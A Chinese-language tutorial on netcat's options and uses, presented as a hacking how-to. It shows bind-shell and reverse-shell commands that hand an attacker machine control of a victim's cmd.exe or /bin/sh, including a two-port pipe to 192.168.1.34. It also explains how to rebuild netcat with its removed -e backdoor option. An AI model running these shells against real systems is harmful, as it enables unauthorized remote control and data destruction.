netcat(简称nc)被誉为网络安全界的‘瑞士军刀’,相信很多人都认识它吧。它是一个简单但实用的工具,通过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定
的后门工具, 能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功能。本文介绍了nc在Windows和Linux下的使用方法。同时还介绍几个在linux的配置技巧。
nc是一个命令行工具,在Windows和在Linux下的使用方法查不多(如无特别说明,本文测试的Windows机器为winxp+sp2,Linux为Redhat9.0),我们可以通过nc –h(Windows下在nc所在的目录才能用此命令,Linux下必须将nc所在的目录加入Linux的PATH路径里)。我们能看到下图一:

图一: 在windows 中nc –h 一般来说,Linux/Unix系统默认是自带nc这个工具,但是也许是为了安全方面的考虑,后来的nc的版本中去掉了-e参数的。在Linux下我们nc –h可以看到如下图二,通过图一和图二的对比,我们可以清楚的看到,在Linux下少了两个参数,分别是-d和-e。

图二:在Linux下nc –h
从nc –h我们可以看到各个参数的使用方法,nc的基本使用格式是: nc [-options] hostname port[s] [ports] ... nc -l -p port [options] [hostname] [port] 下面我们来具体介绍每个参数的意义和用法: -d 后台模式 -e prog 程序重定向,一旦连接,就执行 [危险!!] //我们可以通过shell 绑定将Windows下的cmd和Linux的/bin/sh绑定,这样非常危险,我们整个系统对别人来说是完全透明,从下面的例子中我们可以看到。这也是Linux默认去掉-e参数的原因。 -g 网关源路由模式的跳数,最多为8 -G 源路由模式的节点个数,一般为4,8,12, ...n-h 帮助信息 -i secs 延时的间隔 -l 监听模式,用于入站连接 -L 连接关闭后,仍然继续监听 -n 指定数字的IP地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 随机本地及远程端口 -s addr 本地源地址 -t 使用TELNET交互方式 -u UDP模式 -v 详细输出--用两个-v可得到更详细的内容 -w secs 指定扫描所用的时间 -z 将输入输出关掉--用于扫描时
我们下面将具体举例介绍nc的用法: 1:监听本地机器的端口: nc –l –p port //port指定监听的本地端口号
 图三:监听本机的80端口 2:扫描远程主机: 其常用格式是:nc –vv –z –w 数字 欲扫描IP 端口范围 / /其中数字 指定扫描的时间间隔。
 图四:对远程主机进行扫描 3:绑定主机shell作为后门 这一般分两个步骤: 步骤一: 我们在被攻击的机器上用下列命令:nc –v –l –p 端口号 –e shell // 其中端口号是我们欲将shell绑定到哪个端口,shell在不同的系统是不同,在Windows下是cmd.exe,在Linux下一般是/bin/sh。 步骤二: 攻击者在自己的机器上使用命令 :nc 被攻击者IP 端口号来达到远程控制受害者(被攻击者)的机器。 我们下面的例子是将windows下的cmd.exe绑定在80端口,然后在Linux机器上进行控制。
 图五:在windows绑定cmd.exe到80端口
 图六:我们连接到上面绑定机器的80端口 从图六我们可以看到,我们在Linux下完全得到了Windows下一样的cmd.exe,而且我们可以完全像在本地控制一样远程完全控制Windows,这样如果我们运行format 命令后果可想而知。
4:主机绑定shell并反向连接 我们可以使用两种方法: 方法一: 分两个步骤: 步骤I:攻击者在自己的机器上指定欲监听的端口号,使用如下命令
nc –vv –l –p 欲监听的端口号
步骤II:在受害者(被攻击者)机器上我们绑定shell到攻击者的机器所监听的端口
 图七:绑定windows下的cmd到Linux机器的9999端口 这时,我们在步骤一处于监听状态的机器就会看到如图八所示的情形:
 图八:在处于监听状态的Linux机器上得到的cmd.exe
可以看到此时我们已完全控制了受害者的机器。 方法二: 我们甚至可以实现将输入窗口和输出窗口绑定到两个不同的端口, 这样我们在一个窗口输入命令,一个窗口输出这个命令的结果,同样分 两个步骤: 步骤I:在攻击者的机器上,我们分别用如下的两个命令 nc –vv –l –p 端口一 nc –vv –l –p 端口二 //这里我们将绑定端口一为输入窗口,绑定端口二为输出窗口。 步骤II:在受害者的机器上,我们使用如下的命令 nc 攻击者机器IP 端口一 | shell | nc 攻击者机器IP 端口二 //这里的shell 和上面所说的shell相同,在Windows指cmd.exe, 在Linux下指/bin/sh 下面的例子中,我们用命令nc 192.168.1.34 9999 |/bin/sh| nc 192.168.1.34 8888 绑定Linux下的shell(即/bin/sh)到我们的Windows机器(IP为192.168.1.34),中间的”|”是管道符合,表示前面的端口9999绑定到我们的输入窗口,后面的端口8888绑定到我们的输出窗口。
 图九:绑定端口9999为输入窗口
 图十:绑定端口8888为输出窗口
 图十一:在Linux机器上绑定shell到输入窗口和输出窗口 当我们在输入窗口输入ls命令时
 图十二:在绑定端口为9999的输入窗口输入命令ls
在我们的输出窗口可以看到上面ls命令的输出结果
 图十三:在绑定端口为8888的输出窗口我们可以看到ls命令的结果。
细心的读者也许或发现,我上面不是说Linux下默认是不能绑定shell的吗,为什么在上面的图十一中我们却绑定/bin/sh到windows 下的端口下?这确实是个很好的问题,诚然Linux为了安全考虑去掉了默认的-e参数,但没有关系,我们可以自己下载一个nc,然后编译让它带有-e参数。 我们下载nc110.tgz到我们的Linux机器上,但是我们发现我们用 tar –zxvf nc110.tgz解压后,然后用 gcc -O -s -DGAPING_SECURITY_HOLE -DTELNET -DLINUX -static -o nc netcat.c 会出现如下图十四的错误提示,说”undefined reference to `_res_init'”。
为什么会出现这种情况呢?这是因为netcat.c中在main函数中调用了函数res_init(),这是一个glibc中的函数,现在改名为了 __res_init(),我们可以用sed命令修改netcat.c或是直接在vi中将res_init()改为__res_init(),这是我们再用上面的gcc命令编译就可以通过,而且gcc的参数-s确保strip操作,这样我们在Linux机器上就有了带-e参数的nc了,我们可以用nc –h看到nc的参数列表,如下图十五,我们可以看到,确实已经有了-e的参数选项。
 图十五:Linux下带有-e参数的nc
现在我们可以将/bin/sh绑定在一个端口,然后通过Windows机器来控制这个shell。分别如图十六,图十七所示,当我们在Linux机器输入nc -e /bin/sh -l -p 9999时,系统一直处于监听状态,我们在Windows上来监听这个9999端口,然后我们可以输入Linux命令来远程完全控制此shell。
 图十六:我们将/bin/sh绑定在9999端口
 图十七:我们通过Windows监听9999端口来获得shell
笔者也将nc110.tgz下载到freebsd系统下,经过测试发现,在freebsd下,不需要修改netcat.c中的res_init(),直接用gcc命令编译就可以生成带-e参数的nc,笔者用于测试的freebsd系统为FreeBSD 4.6-RELEASE。
nc确实是网络安全以及黑客世界一个非常流行和使用的工具,nc的用法是很多的,这里我们只介绍了几种最常用的用法,并且介绍了在Linux下重新编译nc使得其带有-e参数的方法和技巧,希望对大家有所帮助。
参考文献: 1:《nc的使用方法》 http://chjy.xmu.edu.cn/more.asp?name=minnan&id=388 2;《网络渗透技术》 许冶坤 王伟 等编著 电子工业出版社 |